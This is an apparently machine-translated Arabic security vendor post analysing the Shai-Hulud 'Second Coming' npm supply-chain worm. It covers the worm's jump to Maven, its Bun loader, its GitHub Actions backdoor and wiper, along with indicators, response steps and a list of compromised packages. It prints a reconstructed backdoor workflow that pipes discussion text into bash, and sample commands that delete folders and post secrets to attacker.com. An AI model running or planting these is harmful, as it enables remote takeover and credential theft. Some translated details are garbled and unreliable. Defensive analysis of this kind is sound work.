TL؛ DR
في 24 نوفمبر 2025، كشف الباحثون شاي هولود: المجيء الثاني، موجة جديدة من هجوم سلسلة التوريد NPM الذي يعيد إصابة حزم npm، ويسرق بيانات الاعتماد، وينتشر عبر أجهزة المطورين و CI/CD pipelineعلى عكس الحادثة الأولى، يُثبّت هذا الإصدار بيئة تشغيل Bun فورًا، وينشر أبوابًا خلفية مخفية لـ GitHub Actions، ويتضمن أداة مسح بيانات مدمرة قادرة على مسح مجلدات رئيسية كاملة على أنظمة Linux وmacOS وWindows. في غضون ساعات، تجاوز عدد الحزم المخترقة 830 حزمة، مما يؤكد أن هذا ليس مجرد نسخة بسيطة، بل تصعيد كبير في... الدودة الأصلية.
التأثير: أي مطور أو مُشغِّل تكامل مستمر يُثبِّت حزم npm عامة قد يكون مُعرَّضًا للخطر. فرق Java مُعرَّضة للخطر أيضًا بعد أن تم نسخ الحزم المُصابة تلقائيًا إلى Maven Central.
إجراءات فورية: حظر الإصدارات الضارة المعروفة، وفرض عمليات التثبيت التي تقتصر على الملفات المقفولة فقط، وتدوير npm وGitHub وبيانات الاعتماد السحابية، وإزالة المشغلين غير المعروفين الذين يستضيفون أنفسهم، ومراقبة مؤشرات الترابط مثل setup_bun.js وbun_environment.js ومستودعات GitHub المشبوهة التي تحتوي على "Sha1-Hulud: The Second Coming".
ما الذي تغير: شاي هولود في هجوم سلسلة التوريد NPM عندما قفز إلى Maven
شهدت الموجة الثانية من هجوم شاي هولود تصعيدًا كبيرًا. في الحملة الأولى، بقيت الدودة داخل نظام npm البيئي. هذه المرة، اخترق البرنامج الخبيث مخضرم مركزي، فضح فرق Java التي لم تلمس npm أبدًا.
الجدول الزمني ونافذة الرمز
بدأ الهجوم في 24 تشرين الثاني، 2025، قبل أن تتقاعد npm عن استخدام رموز المصادقة القديمة الخاصة بها ديسمبر ٢٠٢٠.
كانت هذه الرموز القديمة أسهل في السرقة وإعادة الاستخدام. ولأن المهاجمين كانوا لا يزالون قادرين على الوصول إليها خلال هذه الفترة، فقد تمكنوا من إعادة نشر مئات الإصدارات الخبيثة بسرعة فائقة قبل انتهاء الفترة المحددة.
كيف وصل البرنامج الخبيث إلى Maven
حدثت القفزة عبر التسجيل بسبب mvnpm، وهي أداة نسخ طبق الأصل آلية تعمل على تحويل حزم npm إلى عناصر Maven.
لا يُجري mvnpm فحوصات أمنية، بل يُعيد ببساطة تغليف ما ينشره npm.
كنتيجة ل:
- حزمة npm معرضة للخطر (على سبيل المثال عقدة ما بعد الخنزير@4.18.1)
- تم تحويله تلقائيًا إلى قطعة أثرية من Maven
org.mvnpm:posthog-node:4.18.1 - ونشرت على Maven Central قبل أن يدرك أي شخص أنها مصابة.
هذا يعني أصبح مطورو Java ضحايا لاختراق npm، حتى لو لم يقوموا بتثبيت حزمة npm مطلقًا.
لماذا هذه المسائل
هذا هو أول دودة تسجيل متقاطعة معروفةحيث ينتشر هجوم سلسلة التوريد من نظام بيئي إلى آخر من خلال الأتمتة وحدها.
وبسبب هذا، فإن نطاق الانفجار يشمل الآن Java وأحمال عمل JVM و enterprise إنشاء أنظمة تعتمد على Maven Central.
ما الذي يجعل شاي هولود 2.0 جديًا جدًا
وقت تشغيل Bun المستخدم للتهرب من الاكتشاف
انتقل المهاجمون من Node.js إلى بيئة تشغيل Bun. يُثبّت البرنامج الخبيث Bun تلقائيًا من خلال setup_bun.js أثناء تثبيت الحزمة. هذا يتجنب مراقبة العقدة ويمنح المهاجمين تنفيذًا أسرع لحمولة مشوشة كبيرة جدًا.
إجراءات GitHub المستخدمة كباب خلفي للأوامر
بمجرد التثبيت، يقوم البرنامج الضار بإنشاء مشغل مخفي مستضاف ذاتيًا في GitHub Actions $HOME/.dev-env/يعمل هذا على أنظمة Windows وmacOS وLinux. يمكن للمهاجمين تشغيل الأوامر ببساطة عن طريق نشر رسائل في مناقشات GitHub على مستودع مُخترق. يُعالج ملف سير العمل هذه الرسائل ويُنفذها كأوامر shell.
ممسحة مدمجة
إذا لم يتمكن البرنامج الخبيث من المصادقة باستخدام GitHub أو npm، فإنه يقوم بمسح دليل المنزل الخاص بالضحية.
- على نظام التشغيل Windows يستخدم من, rdو شفرة /W لمسح الملفات.
- في Linux وmacOS، يتم استبدال البيانات بـ ذرة ثم يقوم بإزالة الدلائل.
حملة صاخبة جدًا
على الرغم من أن البرنامج الخبيث يستخدم بعض أساليب التخفي (على سبيل المثال، باستخدام Bun)، إلا أن الحملة بشكل عام بعيدة كل البعد عن الهدوء. فهو يُعيد نشر الحزم المُخترقة بنشاط، ويُنشئ مئات أو آلاف المستودعات الجديدة، ويُحمّل نسخًا مُجمّعة من بيانات الاعتماد، ويُثبّت برامج تشغيل ذاتية الاستضافة طويلة الأمد على أجهزة المطورين. لا يُعدّ أيٌّ من هذا سلوكًا بسيطًا. يبرز حجم وسرعة و"ضجيج" هذا الهجوم مقارنةً بمعظم اختراقات سلاسل التوريد، والتي تميل إلى إعطاء الأولوية للبقاء مخفيًا لأطول فترة ممكنة..
تأثير واسع
قام المهاجمون باختراق العديد من الحزم المعروفة التي يتم تنزيلها ملايين المرات شهريًا، بما في ذلك:
Zapier، وENS Domains، وPostman، وPostHog، وAsyncAPI، وVoiceflow.
إشارات الإسناد المحتملة
يصعب تحديد الجهة المسؤولة عن هذه الحملة، ولا يوجد مصدر مؤكد وراءها. تشير شركة أمنية كبرى إلى أن العملية تُشبه دودة شاي-هولود السابقة، إلا أن الاختلافات في كيفية بناء الحمولة وكيفية انتشار البرنامج الخبيث تُشير إلى احتمال وجود مجموعة مُختلفة من المُشغّلين. يُشير تقييمهم إلى أن بيئات متعددة قامت بتنزيل الحزم المُخترقة قبل أن تُزيلها npm، مما يُشير إلى تعرض فعلي وليس اختبارًا قصير الأمد.
بما أن التكتيكات تُحاكي الموجة الأولى، إلا أنها تختلف في جوانب رئيسية، لا سيما في بنية الحمولة، ومنطق الانتشار، و"أسلوب" العمليات، فإن سيناريو التقليد وارد. ربما استعار المهاجمون أفكارًا من حملة شاي-هولود، لكنهم طبّقوا أدواتهم الخاصة. قد يُمثّل هذا محاولةً أخرى لتقليد الحملة السابقة كليًا.
في هذه المرحلة، لا يوجد دليل قوي يربطه بأي جهة معروفة، أو جماعة ذات دوافع مالية، أو كيان مرتبط بالدولة. التداخل مع الدودة الأصلية حقيقي، لكن الاختلافات مهمة بما يكفي لإبقاء نسبه ضمن فئة "غير مؤكد".
انتشر في Maven
أكدت شركة أمنية كبرى أن حزم npm الضارة تم إعادة نشرها تلقائيًا إلى Maven من خلال mvnpm، وهي أداة تقوم بتحويل حزم npm إلى عناصر Maven دون مراجعة يدوية.
تم دفع الحزمة التالية إلى Maven Central: org.mvnpm:posthog-node:4.18.1
نظرًا لأن mvnpm يقوم ببساطة بإعادة تعبئة كل ما ينشره npm، فقد تم عكس الإصدارات المصابة في نظام Java البيئي قبل أن يدرك أي شخص ذلك.
قامت Maven Central بإزالة القطع الأثرية المتأثرة في 25 نوفمبر 2025 وبدأت في تشديد الضوابط لمنع حدوث مشكلات مماثلة عبر التسجيلات.
يعني هذا أن مشاريع Java التي ليس لها اتصال مباشر بـ npm لا تزال معرضة للخطر.
كيف يعمل هجوم شاي هولود 2.0
تدفق العدوى
- ضار التثبيت المسبق تمت إضافة النص إلى package.json.
- setup_bun.js يقوم بتثبيت Bun على جهاز الضحية إذا كان مفقودًا.
- bun_environment.js (أكثر من 480 ألف سطر من التعليمات البرمجية المشوشة) يتم تشغيلها في الخلفية.
- يبحث البرنامج الخبيث عن بيانات الاعتماد باستخدام تقنيات مشابهة لـ TruffleHog.
- مفاتيح AWS وGCP وAzure
- رموز GitHub
- رموز npm
- أسرار نظام CI
- مفاتيح AWS وGCP وAzure
- يتم تحميل البيانات المسروقة إلى مستودعات GitHub العامة التي تحمل الوصف "Sha1-Hulud: The Second Coming".
- باستخدام الرموز الملتقطة، ينشر البرنامج الخبيث إصدارات مخترقة من الحزم، ويصيب مستودعات GitHub التي يمكن الوصول إليها، ويقوم بتثبيت برامج تشغيل ذاتية الاستضافة مستمرة لتنفيذ التعليمات البرمجية عن بعد.
سير عمل GitHub الخبيثة
خلال الموجة الثانية من هجوم سلسلة توريد Shai-Hulud NPM، تم إنشاء البرامج الضارة سيرتا عمل مخفيتان لـ GitHub Actions داخل مستودعات مُخترقة. تتيح هذه العمليات للمهاجمين تنفيذ التعليمات البرمجية عن بُعد، والثبات طويل الأمد، والوصول الكامل إلى أسرار النظام.
1. سير عمل الباب الخلفي (discussion.yaml)
أخطر سير عمل يستمع إليه مناقشات GitHub الأحداث. عند إنشاء رسالة مناقشة أو تحريرها، يقرأ سير العمل نص الرسالة وينفذها كـ أمر shell على جهاز الضحية.
فيما يلي نسخة مبسطة من سير العمل الخبيث، أعيد بناؤها من العينات التي تمت ملاحظتها:
# .github/workflows/discussion.yaml
name: Discussion Backdoor
on:
discussion:
types: [created, edited]
jobs:
exec:
runs-on: self-hosted
steps:
- name: Execute attacker command
run: |
echo "${{ github.event.discussion.body }}" | bash
الخط الحرج هو:
${{ github.event.discussion.body }}
هذا يعني أن المهاجم يستطيع نشر أي أمر داخل مناقشة GitHub، ويقوم المُشغِّل المُستضاف ذاتيًا بتنفيذه فورًا. ولأن المُشغِّلين المُستضافين ذاتيًا غالبًا ما يكون لديهم وصول إلى الشبكات الداخلية وبيانات اعتماد السحابة وأسرار CI، فإن هذا الباب الخلفي يُتيح للمهاجم تنفيذ التعليمات البرمجية عن بُعد بالكامل أثناء هجوم سلسلة توريد Shai Hulud NPM.
استغلال حقن الأوامر
يستغل سير العمل هذا كيفية معالجة إجراءات GitHub للتعابير. فبدلاً من تقييد الإدخال بسلاسل نصية آمنة، يقرأ محتوى المناقشة الخام وينقله مباشرةً إلى واجهة المستخدم. ونتيجةً لذلك، لا يحتاج المهاجم إلا إلى نشر رسالة مثل:
rm -rf /important/folder
curl -X POST https://attacker.com --data @secrets.json
نظرًا لأن هذا السلوك ظهر بشكل متكرر أثناء هجوم سلسلة التوريد Shai Hulud NPM، فقد أصبح أحد الإشارات الأكثر وضوحًا على أن البرامج الضارة كانت تستخدم GitHub Actions كقناة قيادة عن بعد.
إن العدائين الذين يستضيفون أنفسهم يجعلون الأمر أسوأ لأنهم:
- تشغيل داخل شبكات الشركة
- امسك السحابة أو CI/CD أوراق اعتماد
- تنفيذ مع أذونات المستخدم
- لا يوجد عزل أو حماية على GitHub
يتيح هذا للمهاجمين قناة أوامر مستمرة إلى البيئات الداخلية.
سير عمل جمع الأسرار والنظام
بالإضافة إلى الباب الخلفي، يقوم البرنامج الخبيث بإسقاط سير عمل آخر يهدف إلى جمع وتخزين البيانات الحساسة من النظام المصاب.
تجمع مهام سير العمل هذه:
- بيانات اعتماد السحابة
- متغيرات البيئة
- قوائم الدليل
- عمليات مسح سرية على غرار TruffleHog
يقومون بتخزين البيانات المجمعة في ملفات مثل:
- cloud.json
- البيئة.json
- المحتويات.json
- truffleSecrets.json
يتم بعد ذلك تحميل هذه الملفات إلى مستودعات GitHub التي يتحكم بها المهاجم والتي تحمل العلامة "شَهْلُود: المجيء الثاني"حيث تم رصد مئات أو آلاف من مكبات النفايات.
مؤشرات التسوية
| قم بتقديم | SHA256 |
|---|---|
| setup_bun.js | a3894003ad1d293ba96d77881ccd2071446dc3f65f434669b49b3da92421901a |
| bun_environment.js | 62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0 |
علامات حمراء أخرى
- .github/workflows/discussion.yaml
- $HOME/.dev-env/ تحتوي على عدائين غير متوقعين
- تم إنشاء مستودعات GitHub العامة على حسابك والتي تحتوي على "Sha1-Hulud: The Second Coming"
المقاييس المحدثة (اعتبارًا من 26 نوفمبر 2025)
| متري | العد التنازلي |
|---|---|
| تم اختراق حزم npm | 830+ |
| مستودعات GitHub المصابة | 28,000+ |
| تم تحميل الملفات السرية | 5,000+ |
| مجموع الأسرار التي تم جمعها | 11,858 |
| أسرار صالحة | 2,298 |
ما يجب فعله الآن: الرد على هجوم سلسلة توريد شاي هولود NPM
يتطلب هجوم سلسلة التوريد "شاي هولود" على NPM استجابة سريعة ومنظمة. وبما أن هذه الموجة الثانية تنتشر عبر npm وGitHub وأجهزة المطورين وحتى Maven Central، يجب على الفرق التحرك بسرعة للكشف عن أي تعرض للهجوم واحتوائه ومعالجته بالكامل. تساعدك الخطوات التالية على الاستجابة بالترتيب الصحيح وتقليل خطر التعرض لمزيد من الاختراق.
كشف
- ابحث في GitHub عن المستودعات التي تحمل الوصف "Sha1-Hulud: The Second Coming".
- ابحث عن سجلات تثبيت Bun أثناء تثبيت الحزمة.
- فحص ملفات package.json بحثًا عن نصوص دورة الحياة غير المتوقعة، وخاصةً التثبيت المسبق.
- تحقق من وجود $HOME/.dev-env/ على أنظمة المطورين أو أنظمة CI.
- قم بمراجعة سجلات النشر في GitHub وnpm بحثًا عن الإصدارات المشبوهة.
الاحتواء
- قم بتدوير جميع بيانات الاعتماد: GitHub، وnpm، وcloud، وأسرار CI، ومفاتيح API.
- تعطيل وإزالة المشغلين المستضيفين ذاتيًا غير المعروفين.
- إغلاق إنشاء المستودع مؤقتًا.
- قم بإزالة الإصدارات المصابة من الرسم البياني للتبعيات لديك.
معالجة
- تنظيف الأنظمة المتأثرة.
- قم بمراجعة جميع سير عمل GitHub Actions للملفات المحقونة.
- ابحث في سجلات CI عن الأوامر أو التشغيلات غير المعتادة.
إعادة البناء من إصدارات الحزمة المعروفة بأنها جيدة.
كيف يساعد Xygeni في إيقاف هجمات مثل Shai-Hulud Second Coming
بعد حملة شرسة مثل "شاي-هولود سيكند كامينغ"، تحتاج الفرق إلى أكثر من مجرد عمليات فحص يدوية. فهي بحاجة إلى حماية آلية تمنع البرامج الضارة قبل وصولها إلى المطورين، أو مشغلي تكامل الأنظمة، أو أنظمة الإنتاج. وهنا تكمن ميزة Xygeni الرئيسية.
الإنذار المبكر بالبرامج الضارة (MEW): اكتشاف التهديدات قبل انتشارها
يقوم محرك الإنذار المبكر من Xygeni بفحص الحزم مفتوحة المصدر الجديدة والمُحدّثة فورًا. ويُشير إلى السلوكيات المشبوهة، مثل:
- JavaScript غامض أو كود مجمع ضخم
- نصوص دورة الحياة التي تقوم بتثبيت أوقات التشغيل الخارجية مثل Bun
- اتصالات غير متوقعة بنقاط نهاية GitHub أو npm أو السحابة
- القطارات التي تكتب في
$HOME,.dev-env/أو مجلدات سير العمل
تمكنت MEW من اكتشاف الأنماط المستخدمة في موجتي Shai-Hulud، مما يساعد الفرق على الرد قبل أن ينشر المهاجمون العدوى على نطاق أوسع.
Guardrails in CI/CD حظر الحزم الضارة
Xygeni ينفذ guardrails التي توقف العمليات غير الآمنة تلقائيًا:
- CI pipelineلا يمكن تثبيت الحزم باستخدام نصوص التثبيت المسبق أو ما بعد التثبيت المخفية
- تفشل عمليات البناء عندما تحاول الحزمة إنشاء تدفقات عمل مثل
.github/workflows/discussion.yaml - Pipelineرفض التبعيات المنشورة من مصادر غير موثوقة أو حسابات تم رؤيتها لأول مرة
يؤدي هذا إلى تقليل سطح الهجوم بشكل كبير ويمنع تشغيل البرامج الضارة داخل وظائف CI.
حماية الأسرار تقلل من نصف قطر الانفجار
لأن Shai-Hulud يسرق مفاتيح السحابة، ورموز GitHub، ورموز npm، وأسرار CI، يجب أن تركز الحماية على بيانات الاعتماد أيضًا. Xygeni:
- يكتشف الأسرار المكشوفة داخل الكود والسجلات وسير العمل وملفات البيئة
- تدوير بيانات الاعتماد عالية المخاطر تلقائيًا
- يفرض رموزًا قصيرة الأجل للحد من الاختراق طويل الأمد
حتى لو تمكن المهاجم من الوصول الأولي، فإن المفاتيح المسروقة تصبح عديمة الفائدة بسرعة.
ملاحظات ختامية: لماذا لا يزال هجوم سلسلة توريد شاي هولود NPM مهمًا؟
استخدم شاي-هولود المجيء الثاني تظهر هذه الحادثة مدى سهولة خداع الإنسان الحديث هجوم سلسلة التوريد NPM يمكن أن تنتقل عبر الأنظمة البيئية. في هذه الحالة، انتقلت البرمجيات الخبيثة من npm إلى Maven لأن أدوات النسخ المتطابق الآلية مثل mvnpm أعيد نشر الحزم المخترقة دون التحقق. نتيجةً لذلك، تعرضت فرق جافا للخطر حتى لو لم تستخدم npm مباشرةً. هذا يوضح أن سير العمل عبر السجلات يحتاج إلى مراجعة فورية وضمانات أقوى.
علاوة على ذلك، يكشف نطاق هذه الحملة وسلوكها عن كيفية عمل المهاجمين اليوم. فبدلاً من التزام الصمت، ينشرون مئات الحزم دفعةً واحدة، وينشرون برامج تشغيل مخفية على GitHub، ويسرقون الأسرار بكميات كبيرة، بل ويضيفون أداة مسح تدميرية في حال فشل أي شيء. ونتيجةً لذلك، لا تواكب المراجعات اليدوية هذا المستوى من الأتمتة والسرعة. تحتاج الفرق إلى حماية مستمرة وفورية على مستوى الحزمة والمصدر و... pipeline طبقات.
لماذا المستمر Pipeline Security أصبح الآن ضروريًا
مثل الهجمات شاي-هولود المجيء الثاني سيستمر التطور. لذلك، يتطلب منع الموجة التالية ضوابط تعمل تلقائيًا داخل CI/CDليس بعد الاختراق. يجب أن يجمع الدفاع الحديث بين الكشف المبكر عن البرامج الضارة، والتحقق الصارم من التبعيات، وتطبيق السياسات، والحماية السرية، حتى لا تتمكن الشيفرات الخبيثة من الانتقال عبر بيئات التطوير دون أن يلاحظها أحد.
تدعم Xygeni هذا التحول من خلال تقديم حلول آلية guardrails عبر سلسلة توريد البرمجيات بأكملها. فهو يحدد الحزم المشبوهة قبل التثبيت، ويفرض إصدارات اعتماد آمنة، ويحظر سير العمل غير الآمن، ويكشف الأسرار المكشوفة، ويُنبّه إلى أي أخطاء غير عادية. pipeline ونتيجة لذلك، تظل الفرق محمية حتى عندما تنتشر هجمات سلسلة التوريد بسرعة وتتجاوز حدود النظام البيئي.
قائمة الحزم المخترقة
يمكن أيضًا استشارة الحزم المتأثرة باستخدام #شاي-هولود / #شاي-هولود-المجيء-الثاني علامة داخل OpenSourceMalware.com
| فئة الإشتراك | التجريبية |
|---|---|
| 02-صدى | 0.0.7 |
| @accordproject/concerto-analysis | 3.24.1 |
| @accordproject/concerto-linter | 3.24.1 |
| @accordproject/مجموعة قواعد كونشرتو-لينتر الافتراضية | 3.24.1 |
| @accordproject/concerto-metamodel | 3.12.5 |
| @accordproject/أنواع-الحفلات الموسيقية | 3.24.1 |
| @accordproject/markdown-it-cicero | 0.16.26 |
| @accordproject/template-engine | 2.7.2 |
| @actbase/تحويل css إلى رد فعل أصلي | 1.0.3 |
| @actbase/native | 0.1.32 |
| @actbase/node-server | 1.1.19 |
| @actbase/react-absolute | 0.8.3 |
| @actbase/react-daum-postcode | 1.0.5 |
| @actbase/react-kakaosdk | 0.9.27 |
| @actbase/react-native-actionsheet | 1.0.3 |
| @actbase/react-native-devtools | 0.1.3 |
| @actbase/react-native-fast-image | 8.5.13 |
| @actbase/react-native-kakao-channel | 1.0.2 |
| @actbase/react-native-kakao-navi | 2.0.4 |
| @actbase/react-native-less-transformer | 1.0.6 |
| @actbase/react-native-naver-login | 1.0.1 |
| @actbase/react-native-simple-video | 1.0.13 |
| @actbase/react-native-tiktok | 1.1.3 |
| @alexcolls/nuxt-socket.io | 0.0.7 ، 0.0.8 |
| @alexcolls/nuxt-ux | 0.6.2 ، 0.6.1 |
| @antstackio/eslint-config-antstack | 0.0.3 |
| @antstackio/express-graphql-proxy | 0.2.8 |
| @antstackio/محلل graphql-body | 0.1.1 |
| @antstackio/json-to-graphql | 1.0.3 |
| @antstackio/shelbysam | 1.1.7 |
| @aryanhussain/my-angular-lib | 0.0.23 |
| @asyncapi/dotnet-rabbitmq-template | 1.0.2 ، 1.0.1 |
| @asyncapi/edavisualiser | 1.2.2 ، 1.2.1 |
| @asyncapi/go-watermill-template | 0.2.76 ، 0.2.77 |
| @asyncapi/قالب جافا | 0.3.6 ، 0.3.5 |
| @asyncapi/keeper | 0.0.3 ، 0.0.2 |
| @asyncapi/قالب php | 0.1.2 ، 0.1.1 |
| @asyncapi/python-paho-template | 0.2.15 ، 0.2.14 |
| @asyncapi/server-api | 0.16.25 ، 0.16.24 |
| @asyncapi/studio | 1.0.3 ، 1.0.2 |
| @asyncapi/مكون الويب | 2.6.7 ، 2.6.6 |
| @browserbasehq/bb9 | 1.2.21 |
| @browserbasehq/director-ai | 1.0.3 |
| @browserbasehq/mcp | 2.1.1 |
| @browserbasehq/mcp-server-browserbase | 2.4.2 |
| @browserbasehq/وظائف sdk | 0.0.4 |
| @browserbasehq/stagehand | 3.0.4 |
| @browserbasehq/stagehand-docs | 1.0.1 |
| @caretive/caret-cli | 0.0.2 |
| @clausehq/flows-step-httprequest | 0.1.14 |
| @clausehq/flows-step-jsontoxml | 0.1.14 |
| @clausehq/flows-step-mqtt | 0.1.14 |
| @clausehq/flows-step-sendgridemail | 0.1.14 |
| @clausehq/flows-step-taskscreateurl | 0.1.14 |
| @التنقل/الإزهار | 1.0.3 |
| @التنقل/بيانات السوق | 1.0.2 |
| @commute/market-data-chartjs | 2.3.1 |
| @dev-blinq/ai-qa-logic | 1.0.19 |
| @dev-blinq/cucumber-js | 1.0.131 |
| @dev-blinq/cucumber_client | 1.0.738 |
| @dev-blinq/ui-systems | 1.0.93 |
| @ensdomains/مشفر العنوان | 1.1.5 |
| @ensdomains/القائمة السوداء | 1.0.1 |
| @ensdomains/buffer | 0.1.2 |
| @ensdomains/ccip-read-cf-worker | 0.0.4 |
| @ensdomains/ccip-read-dns-gateway | 0.1.1 |
| @ensdomains/ccip-read-router | 0.0.7 |
| @ensdomains/ccip-read-worker-viem | 0.0.4 |
| @ensdomains/content-hash | 3.0.1 |
| @ensdomains/curvearithmetics | 1.0.1 |
| @ensdomains/cypress-metamask | 1.2.1 |
| @ensdomains/dnsprovejs | 0.5.3 |
| @ensdomains/dnssec-oracle-anchors | 0.0.2 |
| @ensdomains/dnssecoraclejs | 0.2.9 |
| @ensdomains/durin | 0.1.2 |
| @ensdomains/durin-middleware | 0.0.2 |
| @ensdomains/ens-archived-contracts | 0.0.3 |
| @ensdomains/ens-avatar | 1.0.4 |
| @ensdomains/ens-contracts | 1.6.1 |
| @ensdomains/ens-test-env | 1.0.2 |
| @ensdomains/ens-validation | 0.1.1 |
| @ensdomains/ensjs | 4.0.3 |
| @ensdomains/ensjs-react | 0.0.5 |
| @ensdomains/eth-ens-namehash | 2.0.16 |
| @ensdomains/hackathon-registrar | 1.0.5 |
| @ensdomains/hardhat-chai-matchers-viem | 0.1.15 |
| @ensdomains/hardhat-toolbox-viem-extended | 0.0.6 |
| @ensdomains/mock | 2.1.52 |
| @ensdomains/name-wrapper | 1.0.1 |
| @ensdomains/عقود حل السلسلة الخارجية | 0.2.2 |
| @ensdomains/op-resolver-contracts | 0.0.2 |
| @ensdomains/react-ens-address | 0.0.32 |
| @ensdomains/التجديد | 0.0.13 |
| @ensdomains/newal-widget | 0.1.10 |
| @ensdomains/reverse-records | 1.0.1 |
| @ensdomains/تحليلات الخادم | 0.0.2 |
| @ensdomains/solsha1 | 0.0.4 |
| @ensdomains/مسجل النطاق الفرعي | 0.2.4 |
| @ensdomains/test-utils | 1.3.1 |
| @ensdomains/ثورين | 0.6.51 |
| @ensdomains/ui | 3.4.6 |
| @ensdomains/unicode-confusables | 0.1.1 |
| @ensdomains/بوابات غير قابلة للاختراق | 0.0.3 |
| @ensdomains/vite-plugin-i18next-loader | 4.0.4 |
| @ensdomains/web3modal | 1.10.2 |
| @everreal/react-charts | 2.0.1 ، 2.0.2 |
| @everreal/validate-esmoduleinterop-imports | 1.4.4 ، 1.4.5 |
| @everreal/تحليلات الويب | 0.0.1 ، 0.0.2 |
| @faq-component/core | 0.0.4 |
| @faq-component/react | 1.0.1 |
| @fishingbooker/ملحق مزامنة المتصفح | 1.0.5 |
| @fishingbooker/react-loader | 1.0.7 |
| @fishingbooker/react-pagination | 2.0.6 |
| @fishingbooker/react-raty | 2.0.1 |
| @fishingbooker/react-swiper | 0.1.5 |
| @hapheus/n8n-nodes-pgp | 1.5.1 |
| @hover-design/core | 0.0.1 |
| @hover-design/react | 0.2.1 |
| @ifelsedeveloper/بروتوكول-العقود-svm-idl | 0.1.2 |
| @ifings/design-system | 4.9.2 |
| @ifings/metatron3 | 0.1.5 |
| @kvytech/cli | 0.0.7 |
| @kvytech/المكونات | 0.0.2 |
| @kvytech/habbit-e2e-test | 0.0.2 |
| @kvytech/إعلان-البرنامج-المكمل-للميدوسا | 0.0.8 |
| @kvytech/medusa-plugin-management | 0.0.5 |
| @kvytech/نشرة ميدوسا-بلوجن-نيوزليتر | 0.0.5 |
| @kvytech/medusa-plugin-product-reviews | 0.0.9 |
| @kvytech/medusa-plugin-promotion | 0.0.2 |
| @kvytech/web | 0.0.2 |
| @lessondesk/api-client | 9.12.3 ، 9.12.2 |
| @lessondesk/babel-preset | 1.0.1 |
| @lessondesk/عميل واجهة برمجة تطبيقات مجموعة الإلكترون | 1.0.3 |
| @lessondesk/eslint-config | 1.4.2 |
| @lessondesk/أيقونات المواد | 1.0.3 |
| @lessondesk/سياق جدول التفاعل | 2.0.4 |
| @lessondesk/schoolbus | 5.2.2 ، 5.2.3 |
| @livecms/live-edit | 0.0.32 |
| @livecms/nuxt-live-edit | 1.9.2 |
| @louisle2/core | 1.0.1 |
| @louisle2/cortex-js | 0.1.6 |
| @lpdjs/خدمة مستودع firestore | 1.0.1 |
| @markvivanco/مدقق إصدار التطبيق | 1.0.2 ، 1.0.1 |
| @ntnx/passport-wso2 | 0.0.3 |
| @ntnx/t | 0.0.101 |
| @orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode | 2.0.5 |
| @orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode | 1.1.1 |
| @orbitgtbelgium/orbit-components | 1.2.9 |
| @orbitgtbelgium/شريط تمرير الوقت | 1.0.187 |
| @osmanekrem/bmad | 1.0.6 |
| @osmanekrem/معالج الأخطاء | 1.2.2 |
| @posthog/agent | 1.24.1 |
| @posthog/ai | 7.1.2 |
| @posthog/cli | 0.5.15 |
| @posthog/clickhouse | 1.7.1 |
| @posthog/core | 1.5.6 |
| @posthog/hedgehog-mode | 0.0.42 |
| @posthog/أيقونات | 0.36.1 |
| @posthog/lemon-ui | 0.0.1 |
| @posthog/nextjs-config | 1.5.1 |
| @posthog/nuxt | 1.2.9 |
| @posthog/piscina | 3.2.1 |
| @posthog/plugin-contrib | 0.0.6 |
| @posthog/react-rrweb-player | 1.1.4 |
| @posthog/rrdom | 0.0.31 |
| @posthog/rrweb | 0.0.31 |
| @posthog/rrweb-player | 0.0.31 |
| @posthog/rrweb-record | 0.0.31 |
| @posthog/rrweb-replay | 0.0.19 |
| @posthog/rrweb-snapshot | 0.0.31 |
| @posthog/rrweb-utils | 0.0.31 |
| @posthog/siphash | 1.1.2 |
| @posthog/wizard | 1.18.1 |
| @postman/aether-icons | 2.23.4 ، 2.23.3 ، 2.23.2 |
| @postman/csv-parse | 4.0.5 ، 4.0.3 ، 4.0.4 |
| @postman/node-keytar | 7.9.6 ، 7.9.4 ، 7.9.5 |
| @postman/tunnel-agent | 0.6.7 ، 0.6.6 ، 0.6.5 |
| @pradhumngautam/common-app | 1.0.2 |
| @pruthvi21/use-debounce | 1.0.3 |
| @quick-start-soft/quick-document-translator | 1.4.2511142126 |
| @quick-start-soft/quick-git-clean-markdown | 1.4.2511142126 |
| @quick-start-soft/quick-markdown | 1.4.2511142126 |
| @quick-start-soft/quick-markdown-compose | 1.4.2506300029 |
| @quick-start-soft/quick-markdown-image | 1.4.2511142126 |
| @quick-start-soft/quick-markdown-print | 1.4.2511142126 |
| @quick-start-soft/quick-markdown-translator | 1.4.2509202331 |
| @quick-start-soft/quick-remove-image-background | 1.4.2511142126 |
| @quick-start-soft/quick-task-refine | 1.4.2511142126 |
| @relyt/claude-context-core | 0.1.1 |
| @seezo/sdr-mcp-server | 0.0.5 |
| @سيونغ-جو/التالي | 0.0.2 |
| @seung-ju/openapi-generator | 0.0.4 |
| @seung-ju/react-hooks | 0.0.2 |
| @seung-ju/react-native-action-sheet | 0.2.1 |
| @sme-ui/aoma-vevasound-metadata-lib | 0.1.3 |
| @strapbuild/react-native-date-time-picker | 2.0.4 |
| @strapbuild/react-native-perspective-image-cropper | 0.4.15 |
| @strapbuild/react-native-perspective-image-cropper-2 | 0.4.7 |
| @strapbuild/react-native-perspective-image-cropper-poojan31 | 0.4.6 |
| @suraj_h/متوسط-شائع | 1.0.5 |
| @thedelta/eslint-config | 1.0.2 |
| @tiaanduplessis/json | 2.0.3 ، 2.0.2 |
| @tiaanduplessis/react-progressbar | 1.0.2 ، 1.0.1 |
| @trefox/sleekshop-js | 0.1.6 |
| @trigo/atrix | 7.0.1 |
| @trigo/atrix-elasticsearch | 2.0.1 |
| @trigo/atrix-postgres | 1.0.3 |
| @trigo/atrix-pubsub | 4.0.3 |
| @trigo/atrix-soap | 1.0.2 |
| @trigo/atrix-swagger | 3.0.1 |
| @trigo/bool-expressions | 4.1.3 |
| @trigo/eslint-config-trigo | 3.3.1 |
| @trigo/fsm | 3.4.2 |
| @trigo/hapi-auth-signedlink | 1.3.1 |
| @trigo/pathfinder-ui-css | 0.1.1 |
| @trigo/trigo-hapijs | 5.0.1 |
| @محدد معدل trpc/cloudflare | 0.1.4 |
| @trpc-rate-limiter/hono | 0.1.4 |
| @varsityvibe/api-client | 1.3.36 ، 1.3.37 |
| @varsityvibe/utils | 5.0.6 |
| @varsityvibe/مخططات التحقق من الصحة | 0.6.7 ، 0.6.8 |
| @vishadtyagi/تقويم السنة الكاملة | 0.1.11 |
| @voiceflow/alexa-types | 2.15.60 ، 2.15.61 |
| @voiceflow/anthropic | 0.4.4 ، 0.4.5 |
